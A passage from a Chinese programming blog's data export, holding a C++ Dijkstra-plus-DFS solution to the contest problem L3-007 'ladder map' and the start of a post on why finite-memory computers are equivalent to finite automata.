class=\"line\">49</span><br><span class=\"line\">50</span><br><span class=\"line\">51</span><br><span class=\"line\">52</span><br><span class=\"line\">53</span><br><span class=\"line\">54</span><br><span class=\"line\">55</span><br><span class=\"line\">56</span><br><span class=\"line\">57</span><br><span class=\"line\">58</span><br><span class=\"line\">59</span><br><span class=\"line\">60</span><br><span class=\"line\">61</span><br><span class=\"line\">62</span><br><span class=\"line\">63</span><br><span class=\"line\">64</span><br><span class=\"line\">65</span><br><span class=\"line\">66</span><br><span class=\"line\">67</span><br><span class=\"line\">68</span><br><span class=\"line\">69</span><br><span class=\"line\">70</span><br><span class=\"line\">71</span><br><span class=\"line\">72</span><br><span class=\"line\">73</span><br><span class=\"line\">74</span><br><span class=\"line\">75</span><br><span class=\"line\">76</span><br><span class=\"line\">77</span><br><span class=\"line\">78</span><br><span class=\"line\">79</span><br><span class=\"line\">80</span><br><span class=\"line\">81</span><br><span class=\"line\">82</span><br><span class=\"line\">83</span><br><span class=\"line\">84</span><br><span class=\"line\">85</span><br><span class=\"line\">86</span><br><span class=\"line\">87</span><br><span class=\"line\">88</span><br><span class=\"line\">89</span><br><span class=\"line\">90</span><br><span class=\"line\">91</span><br><span class=\"line\">92</span><br><span class=\"line\">93</span><br><span class=\"line\">94</span><br><span class=\"line\">95</span><br><span class=\"line\">96</span><br><span class=\"line\">97</span><br><span class=\"line\">98</span><br><span class=\"line\">99</span><br><span class=\"line\">100</span><br><span class=\"line\">101</span><br><span class=\"line\">102</span><br><span class=\"line\">103</span><br><span class=\"line\">104</span><br><span class=\"line\">105</span><br><span class=\"line\">106</span><br><span class=\"line\">107</span><br><span class=\"line\">108</span><br><span class=\"line\">109</span><br><span class=\"line\">110</span><br><span class=\"line\">111</span><br><span class=\"line\">112</span><br><span class=\"line\">113</span><br><span class=\"line\">114</span><br><span class=\"line\">115</span><br><span class=\"line\">116</span><br><span class=\"line\">117</span><br><span class=\"line\">118</span><br><span class=\"line\">119</span><br><span class=\"line\">120</span><br><span class=\"line\">121</span><br><span class=\"line\">122</span><br><span class=\"line\">123</span><br><span class=\"line\">124</span><br><span class=\"line\">125</span><br><span class=\"line\">126</span><br><span class=\"line\">127</span><br><span class=\"line\">128</span><br><span class=\"line\">129</span><br><span class=\"line\">130</span><br><span class=\"line\">131</span><br><span class=\"line\">132</span><br><span class=\"line\">133</span><br><span class=\"line\">134</span><br><span class=\"line\">135</span><br><span class=\"line\">136</span><br><span class=\"line\">137</span><br><span class=\"line\">138</span><br><span class=\"line\">139</span><br><span class=\"line\">140</span><br><span class=\"line\">141</span><br><span class=\"line\">142</span><br><span class=\"line\">143</span><br><span class=\"line\">144</span><br><span class=\"line\">145</span><br><span class=\"line\">146</span><br><span class=\"line\">147</span><br><span class=\"line\">148</span><br><span class=\"line\">149</span><br><span class=\"line\">150</span><br><span class=\"line\">151</span><br><span class=\"line\">152</span><br><span class=\"line\">153</span><br><span class=\"line\">154</span><br><span class=\"line\">155</span><br><span class=\"line\">156</span><br><span class=\"line\">157</span><br><span class=\"line\">158</span><br><span class=\"line\">159</span><br><span class=\"line\">160</span><br><span class=\"line\">161</span><br><span class=\"line\">162</span><br><span class=\"line\">163</span><br><span class=\"line\">164</span><br><span class=\"line\">165</span><br><span class=\"line\">166</span><br><span class=\"line\">167</span><br><span class=\"line\">168</span><br><span class=\"line\">169</span><br><span class=\"line\">170</span><br><span class=\"line\">171</span><br><span class=\"line\">172</span><br><span class=\"line\">173</span><br><span class=\"line\">174</span><br><span class=\"line\">175</span><br><span class=\"line\">176</span><br><span class=\"line\">177</span><br><span class=\"line\">178</span><br><span class=\"line\">179</span><br><span class=\"line\">180</span><br><span class=\"line\">181</span><br><span class=\"line\">182</span><br><span class=\"line\">183</span><br><span class=\"line\">184</span><br><span class=\"line\">185</span><br><span class=\"line\">186</span><br><span class=\"line\">187</span><br><span class=\"line\">188</span><br><span class=\"line\">189</span><br><span class=\"line\">190</span><br><span class=\"line\">191</span><br><span class=\"line\">192</span><br><span class=\"line\">193</span><br><span class=\"line\">194</span><br><span class=\"line\">195</span><br><span class=\"line\">196</span><br><span class=\"line\">197</span><br><span class=\"line\">198</span><br><span class=\"line\">199</span><br><span class=\"line\">200</span><br><span class=\"line\">201</span><br><span class=\"line\">202</span><br><span class=\"line\">203</span><br><span class=\"line\">204</span><br><span class=\"line\">205</span><br><span class=\"line\">206</span><br><span class=\"line\">207</span><br><span class=\"line\">208</span><br><span class=\"line\">209</span><br><span class=\"line\">210</span><br><span class=\"line\">211</span><br><span class=\"line\">212</span><br><span class=\"line\">213</span><br><span class=\"line\">214</span><br><span class=\"line\">215</span><br><span class=\"line\">216</span><br><span class=\"line\">217</span><br><span class=\"line\">218</span><br><span class=\"line\">219</span><br><span class=\"line\">220</span><br><span class=\"line\">221</span><br><span class=\"line\">222</span><br><span class=\"line\">223</span><br><span class=\"line\">224</span><br><span class=\"line\">225</span><br><span class=\"line\">226</span><br><span class=\"line\">227</span><br><span class=\"line\">228</span><br><span class=\"line\">229</span><br><span class=\"line\">230</span><br><span class=\"line\">231</span><br><span class=\"line\">232</span><br><span class=\"line\">233</span><br><span class=\"line\">234</span><br><span class=\"line\">235</span><br><span class=\"line\">236</span><br><span class=\"line\">237</span><br><span class=\"line\">238</span><br><span class=\"line\">239</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"meta\">#<span class=\"meta-keyword\">include</span> <span class=\"meta-string\"><algorithm></span></span></span><br><span class=\"line\"><span class=\"meta\">#<span class=\"meta-keyword\">include</span> <span class=\"meta-string\"><cassert></span></span></span><br><span class=\"line\"><span class=\"meta\">#<span class=\"meta-keyword\">include</span> <span class=\"meta-string\"><cstdio></span></span></span><br><span class=\"line\"><span class=\"meta\">#<span class=\"meta-keyword\">include</span> <span class=\"meta-string\"><cstdlib></span></span></span><br><span class=\"line\"><span class=\"meta\">#<span class=\"meta-keyword\">include</span> <span class=\"meta-string\"><cstring></span></span></span><br><span class=\"line\"><span class=\"meta\">#<span class=\"meta-keyword\">include</span> <span class=\"meta-string\"><iostream></span></span></span><br><span class=\"line\"><span class=\"meta\">#<span class=\"meta-keyword\">include</span> <span class=\"meta-string\"><queue></span></span></span><br><span class=\"line\"><span class=\"meta\">#<span class=\"meta-keyword\">include</span> <span class=\"meta-string\"><vector></span></span></span><br><span class=\"line\"><span class=\"meta\">#<span class=\"meta-keyword\">define</span> INF 0x3f3f3f3f</span></span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"keyword\">using</span> <span class=\"keyword\">namespace</span> <span class=\"built_in\">std</span>;</span><br><span class=\"line\"><span class=\"class\"><span class=\"keyword\">struct</span> <span class=\"title\">Node</span> {</span></span><br><span class=\"line\"> <span class=\"keyword\">int</span> index;</span><br><span class=\"line\"> <span class=\"built_in\">vector</span><<span class=\"keyword\">int</span>> adj;</span><br><span class=\"line\">};</span><br><span class=\"line\">Node v[<span class=\"number\">600</span>];</span><br><span class=\"line\"><span class=\"keyword\">int</span> length[<span class=\"number\">600</span>][<span class=\"number\">600</span>]; <span class=\"comment\">// length[i][j]记录从node i到node j的length</span></span><br><span class=\"line\"><span class=\"keyword\">int</span> TIME[<span class=\"number\">600</span>][<span class=\"number\">600</span>]; <span class=\"comment\">// TIME[i][j]记录从node i到node j的用时</span></span><br><span class=\"line\"><span class=\"built_in\">vector</span><<span class=\"keyword\">int</span>> tp[<span class=\"number\">600</span>];<span class=\"comment\">// node's parent list</span></span><br><span class=\"line\"><span class=\"keyword\">int</span> tpResult[<span class=\"number\">600</span>];<span class=\"comment\">// 最终的node的parent</span></span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"keyword\">int</span> BEGIN, END; <span class=\"comment\">// 题目输入的天梯队员的起点和要到达的终点</span></span><br><span class=\"line\"><span class=\"keyword\">int</span> vertexCnt, edgeCnt;</span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">dijstra</span><span class=\"params\">(<span class=\"keyword\">int</span> weight[][<span class=\"number\">600</span>])</span></span>;</span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">DFS</span><span class=\"params\">(<span class=\"keyword\">bool</span> isLength)</span></span>;</span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">void</span> <span class=\"title\">outp</span><span class=\"params\">(<span class=\"keyword\">int</span> f, <span class=\"keyword\">int</span> index)</span></span>;</span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">main</span><span class=\"params\">(<span class=\"keyword\">int</span> argc, <span class=\"keyword\">char</span>** argv)</span> </span>{</span><br><span class=\"line\"> <span class=\"keyword\">int</span> n, m;</span><br><span class=\"line\"> <span class=\"keyword\">while</span> (~<span class=\"built_in\">scanf</span>(<span class=\"string\">\"%d%d\"</span>, &n, &m)) {</span><br><span class=\"line\"> <span class=\"keyword\">for</span> (<span class=\"keyword\">int</span> i = <span class=\"number\">0</span>; i < n; i++) {</span><br><span class=\"line\"> <span class=\"keyword\">for</span> (<span class=\"keyword\">int</span> j = <span class=\"number\">0</span>; j < n; j++) {</span><br><span class=\"line\"> TIME[i][j] = INF;</span><br><span class=\"line\"> }</span><br><span class=\"line\"> }</span><br><span class=\"line\"> <span class=\"keyword\">for</span> (<span class=\"keyword\">int</span> i = <span class=\"number\">0</span>; i < n; i++) {</span><br><span class=\"line\"> <span class=\"keyword\">for</span> (<span class=\"keyword\">int</span> j = <span class=\"number\">0</span>; j < n; j++) {</span><br><span class=\"line\"> length[i][j] = INF;</span><br><span class=\"line\"> }</span><br><span class=\"line\"> }</span><br><span class=\"line\"> <span class=\"keyword\">for</span> (<span class=\"keyword\">int</span> i = <span class=\"number\">0</span>; i < n; i++) {</span><br><span class=\"line\"> v[i].index = i;</span><br><span class=\"line\"> v[i].adj.clear();</span><br><span class=\"line\"> }</span><br><span class=\"line\"> <span class=\"keyword\">for</span> (<span class=\"keyword\">int</span> i = <span class=\"number\">0</span>; i < n; i++) {</span><br><span class=\"line\"> tp[i].clear();</span><br><span class=\"line\"> }</span><br><span class=\"line\"></span><br><span class=\"line\"> vertexCnt = n, edgeCnt = m;</span><br><span class=\"line\"> <span class=\"keyword\">int</span> v1, v2, one, l, t;</span><br><span class=\"line\"> <span class=\"keyword\">for</span> (<span class=\"keyword\">int</span> i = <span class=\"number\">0</span>; i < m; i++) {</span><br><span class=\"line\"> <span class=\"built_in\">scanf</span>(<span class=\"string\">\"%d%d%d%d%d\"</span>, &v1, &v2, &one, &l, &t);</span><br><span class=\"line\"> v[v1].adj.push_back(v2);</span><br><span class=\"line\"> <span class=\"comment\">// 这样做是为了避免输入多重边——比如说从i到j有多条边，那么我们直接选最小代价的边即可</span></span><br><span class=\"line\"> length[v1][v2] = length[v1][v2] < l ? length[v1][v2] : l;</span><br><span class=\"line\"> TIME[v1][v2] = TIME[v1][v2] < t ? TIME[v1][v2] : t;</span><br><span class=\"line\"> <span class=\"keyword\">if</span> (!one) {</span><br><span class=\"line\"> v[v2].adj.push_back(v1);</span><br><span class=\"line\"> length[v2][v1] = length[v2][v1] < l ? length[v2][v1] : l;</span><br><span class=\"line\"> TIME[v2][v1] = TIME[v2][v1] < t ? TIME[v2][v1] : t;</span><br><span class=\"line\"> }</span><br><span class=\"line\"> }</span><br><span class=\"line\"> <span class=\"built_in\">scanf</span>(<span class=\"string\">\"%d%d\"</span>, &BEGIN, &END);</span><br><span class=\"line\"> <span class=\"keyword\">if</span> (BEGIN == END) {</span><br><span class=\"line\"> <span class=\"built_in\">cout</span> << <span class=\"string\">\"Time = \"</span></span><br><span class=\"line\"> << <span class=\"string\">\"0\"</span></span><br><span class=\"line\"> << <span class=\"string\">\"; Distance = \"</span></span><br><span class=\"line\"> << <span class=\"string\">\"0\"</span></span><br><span class=\"line\"> << <span class=\"string\">\": \"</span>;</span><br><span class=\"line\"> <span class=\"built_in\">cout</span> << BEGIN << <span class=\"string\">\" => \"</span> << END << <span class=\"built_in\">endl</span>;</span><br><span class=\"line\"> <span class=\"keyword\">continue</span>;</span><br><span class=\"line\"> }</span><br><span class=\"line\"> <span class=\"keyword\">if</span> (n == <span class=\"number\">2</span>) {</span><br><span class=\"line\"> <span class=\"built_in\">cout</span> << <span class=\"string\">\"Time = \"</span> << TIME[BEGIN][END] << <span class=\"string\">\"; Distance = \"</span> << length[BEGIN][END] << <span class=\"string\">\": \"</span>;</span><br><span class=\"line\"> <span class=\"built_in\">cout</span> << BEGIN << <span class=\"string\">\" => \"</span> << END << <span class=\"built_in\">endl</span>;</span><br><span class=\"line\"> <span class=\"keyword\">continue</span>;</span><br><span class=\"line\"> }</span><br><span class=\"line\"></span><br><span class=\"line\"> <span class=\"keyword\">int</span> timeEND = dijstra(TIME);</span><br><span class=\"line\"><span class=\"comment\">// outp(END, 0);</span></span><br><span class=\"line\"> DFS(<span class=\"literal\">false</span>);</span><br><span class=\"line\"> <span class=\"built_in\">vector</span><<span class=\"keyword\">int</span>> r1, r2;</span><br><span class=\"line\"> r1.push_back(END);</span><br><span class=\"line\"> <span class=\"comment\">// 以下这种构造路径的方式是建立在起点不同于终点的情况下</span></span><br><span class=\"line\"> <span class=\"keyword\">int</span> tmp_tp = tpResult[END];</span><br><span class=\"line\"> r1.push_back(tmp_tp);</span><br><span class=\"line\"> <span class=\"keyword\">while</span> (tmp_tp != BEGIN) {</span><br><span class=\"line\"> tmp_tp = tpResult[tmp_tp];</span><br><span class=\"line\"> r1.push_back(tmp_tp);</span><br><span class=\"line\"> }</span><br><span class=\"line\"> reverse(r1.begin(), r1.end());</span><br><span class=\"line\"></span><br><span class=\"line\"> <span class=\"keyword\">for</span> (<span class=\"keyword\">int</span> i = <span class=\"number\">0</span>; i < n; i++) {</span><br><span class=\"line\"> tp[i].clear();</span><br><span class=\"line\"> }</span><br><span class=\"line\"> <span class=\"keyword\">int</span> lenEND = dijstra(length);</span><br><span class=\"line\"><span class=\"comment\">// outp(END, 0);</span></span><br><span class=\"line\"> DFS(<span class=\"literal\">true</span>);</span><br><span class=\"line\"> r2.push_back(END);</span><br><span class=\"line\"> tmp_tp = tpResult[END];</span><br><span class=\"line\"> r2.push_back(tmp_tp);</span><br><span class=\"line\"> <span class=\"keyword\">while</span> (tmp_tp != BEGIN) {</span><br><span class=\"line\"> tmp_tp = tpResult[tmp_tp];</span><br><span class=\"line\"> r2.push_back(tmp_tp);</span><br><span class=\"line\"> }</span><br><span class=\"line\"> reverse(r2.begin(), r2.end());</span><br><span class=\"line\"></span><br><span class=\"line\"> <span class=\"keyword\">bool</span> isSame = <span class=\"literal\">false</span>;</span><br><span class=\"line\"> <span class=\"keyword\">if</span> (r1.size() == r2.size()) {</span><br><span class=\"line\"> isSame = <span class=\"literal\">true</span>;</span><br><span class=\"line\"> <span class=\"keyword\">for</span> (<span class=\"keyword\">int</span> i = <span class=\"number\">0</span>; i < r1.size(); i++) {</span><br><span class=\"line\"> isSame = (r1[i] == r2[i]) && isSame;</span><br><span class=\"line\"> }</span><br><span class=\"line\"> }</span><br><span class=\"line\"> <span class=\"keyword\">if</span> (isSame) {</span><br><span class=\"line\"> <span class=\"built_in\">cout</span> << <span class=\"string\">\"Time = \"</span> << timeEND << <span class=\"string\">\"; Distance = \"</span> << lenEND << <span class=\"string\">\": \"</span>;</span><br><span class=\"line\"> <span class=\"keyword\">for</span> (<span class=\"keyword\">int</span> i = <span class=\"number\">0</span>; i < r1.size() - <span class=\"number\">1</span>; i++) {</span><br><span class=\"line\"> <span class=\"built_in\">cout</span> << r1[i] << <span class=\"string\">\" => \"</span>;</span><br><span class=\"line\"> }</span><br><span class=\"line\"> <span class=\"built_in\">cout</span> << r1[r1.size() - <span class=\"number\">1</span>] << <span class=\"built_in\">endl</span>;</span><br><span class=\"line\"> } <span class=\"keyword\">else</span> {</span><br><span class=\"line\"> <span class=\"built_in\">cout</span> << <span class=\"string\">\"Time = \"</span> << timeEND << <span class=\"string\">\": \"</span>;</span><br><span class=\"line\"> <span class=\"keyword\">for</span> (<span class=\"keyword\">int</span> i = <span class=\"number\">0</span>; i < r1.size() - <span class=\"number\">1</span>; i++) {</span><br><span class=\"line\"> <span class=\"built_in\">cout</span> << r1[i] << <span class=\"string\">\" => \"</span>;</span><br><span class=\"line\"> }</span><br><span class=\"line\"> <span class=\"built_in\">cout</span> << r1[r1.size() - <span class=\"number\">1</span>] << <span class=\"built_in\">endl</span>;</span><br><span class=\"line\"> <span class=\"built_in\">cout</span> << <span class=\"string\">\"Distance = \"</span> << lenEND << <span class=\"string\">\": \"</span>;</span><br><span class=\"line\"> <span class=\"keyword\">for</span> (<span class=\"keyword\">int</span> i = <span class=\"number\">0</span>; i < r2.size() - <span class=\"number\">1</span>; i++) {</span><br><span class=\"line\"> <span class=\"built_in\">cout</span> << r2[i] << <span class=\"string\">\" => \"</span>;</span><br><span class=\"line\"> }</span><br><span class=\"line\"> <span class=\"built_in\">cout</span> << r2[r2.size() - <span class=\"number\">1</span>] << <span class=\"built_in\">endl</span>;</span><br><span class=\"line\"> }</span><br><span class=\"line\"> }</span><br><span class=\"line\">}</span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"comment\">// 参数me是该edge的终点，p是该edge的起点，t出发的源节点到这条edge的终点的代价</span></span><br><span class=\"line\"><span class=\"class\"><span class=\"keyword\">struct</span> <span class=\"title\">Edge_t</span> {</span></span><br><span class=\"line\"> <span class=\"keyword\">int</span> me;</span><br><span class=\"line\"> <span class=\"keyword\">int</span> p;</span><br><span class=\"line\"> <span class=\"keyword\">int</span> t;</span><br><span class=\"line\"> Edge_t(<span class=\"keyword\">int</span> m, <span class=\"keyword\">int</span> h, <span class=\"keyword\">int</span> y) : me(m), p(h), t(y) {} </span><br><span class=\"line\"> <span class=\"keyword\">bool</span> <span class=\"keyword\">operator</span><(<span class=\"keyword\">const</span> Edge_t &x) <span class=\"keyword\">const</span> { <span class=\"keyword\">return</span> x.t < <span class=\"keyword\">this</span>->t; }</span><br><span class=\"line\">};</span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"comment\">// bfs+优先队列其实就是dijstra算法</span></span><br><span class=\"line\"><span class=\"comment\">// dijstra维护result set，源节点到这个set里的点的最短路径已经被找到</span></span><br><span class=\"line\"><span class=\"comment\">// 所以result set只会有node被加进去而不会有node被踢出去</span></span><br><span class=\"line\"><span class=\"comment\">// 不同于算法导论描述的dijstra算法——算导里的堆是点的堆，</span></span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">dijstra</span><span class=\"params\">(<span class=\"keyword\">int</span> weight[][<span class=\"number\">600</span>])</span> </span>{</span><br><span class=\"line\"> <span class=\"keyword\">int</span> resWei[<span class=\"number\">600</span>];</span><br><span class=\"line\"> priority_queue<Edge_t> que;</span><br><span class=\"line\"> que.push(Edge_t(BEGIN, <span class=\"number\">0</span>, <span class=\"number\">0</span>));<span class=\"comment\">// 后面用到了t.t+weight[t.me][adj[i]]，所以这里必须要取0</span></span><br><span class=\"line\"> <span class=\"keyword\">int</span> cnt = <span class=\"number\">0</span>;</span><br><span class=\"line\"> <span class=\"keyword\">bool</span> visit[vertexCnt]; <span class=\"comment\">// 记录某点是否已经加入到dijstra的result set里</span></span><br><span class=\"line\"> <span class=\"built_in\">memset</span>(visit, <span class=\"number\">0</span>, <span class=\"keyword\">sizeof</span>(visit) * <span class=\"keyword\">sizeof</span>(<span class=\"keyword\">bool</span>));</span><br><span class=\"line\"> <span class=\"keyword\">while</span> (!que.empty()) {</span><br><span class=\"line\"> Edge_t t = que.top();</span><br><span class=\"line\"> que.pop();</span><br><span class=\"line\"> <span class=\"comment\">// 因为这是Edge的堆，可能会有一些边pop出来时，其终点已经在result set里</span></span><br><span class=\"line\"> <span class=\"keyword\">if</span> (visit[t.me]) {</span><br><span class=\"line\"> assert(resWei[t.me] <= t.t);</span><br><span class=\"line\"> <span class=\"keyword\">if</span> (resWei[t.me] == t.t) {</span><br><span class=\"line\"> tp[t.me].push_back(t.p);</span><br><span class=\"line\"> }</span><br><span class=\"line\"> <span class=\"keyword\">continue</span>;</span><br><span class=\"line\"> }</span><br><span class=\"line\"> visit[t.me] = <span class=\"literal\">true</span>;</span><br><span class=\"line\"> tp[t.me].push_back(t.p);</span><br><span class=\"line\"> resWei[t.me] = t.t;</span><br><span class=\"line\"> <span class=\"keyword\">const</span> <span class=\"built_in\">vector</span><<span class=\"keyword\">int</span>> &adj = v[t.me].adj;</span><br><span class=\"line\"> <span class=\"keyword\">int</span> al = adj.size();</span><br><span class=\"line\"> <span class=\"keyword\">for</span> (<span class=\"keyword\">int</span> i = <span class=\"number\">0</span>; i < al; i++) {</span><br><span class=\"line\"> <span class=\"keyword\">if</span> (adj[i] == t.me)</span><br><span class=\"line\"> <span class=\"keyword\">continue</span>;</span><br><span class=\"line\"> que.push(Edge_t(adj[i], t.me, t.t + weight[t.me][adj[i]]));</span><br><span class=\"line\"> }</span><br><span class=\"line\"> }</span><br><span class=\"line\"> <span class=\"keyword\">return</span> resWei[END];</span><br><span class=\"line\">}</span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"keyword\">int</span> dp[<span class=\"number\">600</span>];</span><br><span class=\"line\"><span class=\"keyword\">bool</span> dpVisit[<span class=\"number\">600</span>];</span><br><span class=\"line\"><span class=\"keyword\">static</span> <span class=\"keyword\">int</span> __dfs(<span class=\"keyword\">int</span> f, <span class=\"keyword\">bool</span> isLength);</span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">DFS</span><span class=\"params\">(<span class=\"keyword\">bool</span> isLength)</span> </span>{</span><br><span class=\"line\"> <span class=\"built_in\">memset</span>(dp, <span class=\"number\">0xff</span>, <span class=\"keyword\">sizeof</span>(dp));</span><br><span class=\"line\"> <span class=\"built_in\">memset</span>(tpResult, <span class=\"number\">0</span>, <span class=\"keyword\">sizeof</span>(tpResult));</span><br><span class=\"line\"> <span class=\"built_in\">memset</span>(dpVisit, <span class=\"number\">0</span>, <span class=\"keyword\">sizeof</span>(dpVisit));</span><br><span class=\"line\"> <span class=\"keyword\">return</span> __dfs(END, isLength);</span><br><span class=\"line\">}</span><br><span class=\"line\"><span class=\"keyword\">static</span> <span class=\"keyword\">int</span> __dfs(<span class=\"keyword\">int</span> f, <span class=\"keyword\">bool</span> isLength) {</span><br><span class=\"line\"> <span class=\"keyword\">if</span> (dp[f] > <span class=\"number\">-1</span>) {</span><br><span class=\"line\"> <span class=\"keyword\">return</span> dp[f];</span><br><span class=\"line\"> }</span><br><span class=\"line\"> <span class=\"keyword\">if</span> (f == BEGIN) {</span><br><span class=\"line\"> <span class=\"keyword\">return</span> <span class=\"number\">0</span>;</span><br><span class=\"line\"> }</span><br><span class=\"line\"> <span class=\"keyword\">const</span> <span class=\"built_in\">vector</span><<span class=\"keyword\">int</span>> &t = tp[f];</span><br><span class=\"line\"> <span class=\"keyword\">int</span> result = INF;</span><br><span class=\"line\"> <span class=\"keyword\">for</span> (<span class=\"keyword\">int</span> i = <span class=\"number\">0</span>; i < t.size(); i++) {</span><br><span class=\"line\"> <span class=\"keyword\">if</span>(t[i]==f)</span><br><span class=\"line\"> <span class=\"keyword\">continue</span>;</span><br><span class=\"line\"> <span class=\"keyword\">if</span> (dpVisit[t[i]]) <span class=\"comment\">// 代表该节点在这条路径上已经被访问过</span></span><br><span class=\"line\"> <span class=\"keyword\">continue</span>;</span><br><span class=\"line\"> dpVisit[f] = <span class=\"literal\">true</span>;</span><br><span class=\"line\"> <span class=\"keyword\">int</span> p = __dfs(t[i], isLength) + (isLength ? <span class=\"number\">1</span> : length[t[i]][f]);</span><br><span class=\"line\"> dpVisit[f] = <span class=\"literal\">false</span>;</span><br><span class=\"line\"> <span class=\"keyword\">if</span> (p < result) {</span><br><span class=\"line\"> tpResult[f] = t[i];</span><br><span class=\"line\"> result = p;</span><br><span class=\"line\"> }</span><br><span class=\"line\"> }</span><br><span class=\"line\"> dp[f] = result;</span><br><span class=\"line\"> <span class=\"keyword\">return</span> result;</span><br><span class=\"line\">}</span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"keyword\">int</span> path[<span class=\"number\">600</span>];</span><br><span class=\"line\"><span class=\"keyword\">bool</span> outpVisit[<span class=\"number\">600</span>];</span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">void</span> <span class=\"title\">outp</span><span class=\"params\">(<span class=\"keyword\">int</span> f, <span class=\"keyword\">int</span> index)</span> </span>{</span><br><span class=\"line\"> outpVisit[f] = <span class=\"literal\">true</span>;</span><br><span class=\"line\"> <span class=\"keyword\">if</span> (f == BEGIN) {</span><br><span class=\"line\"> <span class=\"built_in\">cout</span> << <span class=\"string\">\"outp: \"</span>;</span><br><span class=\"line\"> <span class=\"keyword\">for</span> (<span class=\"keyword\">int</span> i = <span class=\"number\">0</span>; i < index; i++) {</span><br><span class=\"line\"> <span class=\"built_in\">cout</span> << path[i] << <span class=\"string\">\" \"</span>;</span><br><span class=\"line\"> }</span><br><span class=\"line\"> <span class=\"built_in\">cout</span> << <span class=\"built_in\">endl</span>;</span><br><span class=\"line\"> outpVisit[f] = <span class=\"literal\">true</span>;</span><br><span class=\"line\"> <span class=\"keyword\">return</span>;</span><br><span class=\"line\"> }</span><br><span class=\"line\"> path[index] = f;</span><br><span class=\"line\"> <span class=\"keyword\">const</span> <span class=\"built_in\">vector</span><<span class=\"keyword\">int</span>> &t = tp[f];</span><br><span class=\"line\"> <span class=\"keyword\">for</span> (<span class=\"keyword\">int</span> i = <span class=\"number\">0</span>; i < t.size(); i++) {</span><br><span class=\"line\"> <span class=\"keyword\">if</span> (outpVisit[t[i]])<span class=\"comment\">// means that 前辈们已经访问过了，再访问就成环了</span></span><br><span class=\"line\"> <span class=\"keyword\">continue</span>;</span><br><span class=\"line\"> outp(t[i], index + <span class=\"number\">1</span>);</span><br><span class=\"line\"> }</span><br><span class=\"line\"> outpVisit[f] = <span class=\"literal\">false</span>;</span><br><span class=\"line\"> <span class=\"keyword\">return</span>;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>","slug":"天梯L3-007-天梯地图","categories":[{"name":"算法","slug":"算法","permalink":"https://h-zex.github.io/categories/算法/"}],"tags":[{"name":"Dijstra最短路","slug":"Dijstra最短路","permalink":"https://h-zex.github.io/tags/Dijstra最短路/"},{"name":"天梯赛","slug":"天梯赛","permalink":"https://h-zex.github.io/tags/天梯赛/"}]},{"title":"有限存储的计算机等价于有限自动机（DFA、NFA）","date":"2018-05-11T08:13:18.000Z","path":"2018/05/11/有限存储的计算机等价于有限自动机（DFA、NFA）/","text":"$B=\\{0^n1^n|n\\ge0\\}$ Michael Sipser 的 Introduction to the Theory of Computation 的1.4提到一个非正则语言的例子，$B=\\{0^n1^n|n\\ge0\\}$ ，并用Pumping lemma证明了其是非正则的，无法被DFA识别 但是我们的计算机似乎可以识别以上语言，所以，为什么我们的计算机还是DFA呢 事实上，我们的计算机只能识别n处于一定范围的B，而不能识别n为任意值的B。如果n过大，我们的计算机的存储单元无法表达，则会发生溢出，导致识别了另一个语言 $C=\\{0^n1^m|n\\ mod\\ max=m\\ mod\\ max\\}$ ，其中，max是我们的计算机的存储单元可以表达的最大值 如果是n处于一定范围内，容易构造出一台DFA识别B： 设有两个变量a、b，a、b都可以取值$[0,1000]$ ，a表示0的数量，b表示1的数量 那么，a、b的所有笛卡尔积组成的集合的一个子集就是该DFA的状态集 转移方程为 首先： $<0,0>\\rightarrow<1,0>\\rightarrow<2,0>\\rightarrow…\\rightarrow<1000,0>$ 然后：从任意$<n,0>$ 都可以转移到 $<n,1>$ 然后：一旦转移到 $<n,1>$ ，就不能转移到 $<n+k,m>, (k>0)$ ，也就是不能增长n的值 最后：一旦转移到 $<n, n>$ 就accept 为什么现实中的计算机有可能是DFA 计算机只有有限存储，such as，某计算机有$2^{32}$ 个8bit的cell，每个cell有 $2^8$ 种取值，所以，所有存储的取值有 $(2^8)^{2^{32}}$ 种，也就是，这台计算机的存储只能有 $(2^8)^{2^{32}}$ 种状态，这就使得把计算机转为DFA变为可能 对任意一段代码构造等价的NFANFA构造方法描述 假设该段代码的运行过程会改变的存储cell有c1、c2、c3、c4、c5，其中，c1到c5的取值范围都是[0,0xFF]，那么就可以构造$(2^8)^5$ 个$<c1,c2,c3,c4,c5>$ ，作为该NFA的状态集合。（注意，cs:ip 寄存器的值必然是这五个cell中的一个） 输入字符表是$\\{0,1\\}$ ，将所有计算机接受的输入全部编码成bit 串后读入该DFA，每次读一个0或者一个1。 假设该代码起始时，c1到c5的取值为$0,0,0,0,0$ ，则$<0,0,0,0,0>$ 就是起始态 假设该段代码处于accept状态时，c1到c5的取值分别为$1,2,3,4,5$ ，那么，$<1,2,3,4,5>$ 就是该NFA的accept state 该代码可以有输入，也可以无输入，可以在多个时候输入，也可以只在一个时候输入。假设其某次输入处于$<d1,d2,d3,d4,d5>$ ，输入后处于 $<d6,d7,d8,d9,d10>$ ，则在从$<d1,d2,d3,d4,d5>$ 到 $<d6,d7,d8,d9,d10>$ 是一个转移，转移使用的字符就是读入的字符。该代码也可以在无输入情况下由cpu作用，从一个状态转移到另一个状态，则在这两个状态之间使用$\\varepsilon$ 为什么该NFA只接受允许的字符串，而不会接受多余的字符串 首先，可以使用以上方法对于每个接受的字符串都构造NFA，则该NFA只接受允许的那个字符串 设置一个新的起始态，该起始态有$\\varepsilon$ 到所有为每个字符串构造的NFA 则最终的NFA只接受允许的字符串 是否会出现情况：代码两次处于某状态但是行为不一样 答案是肯定不会 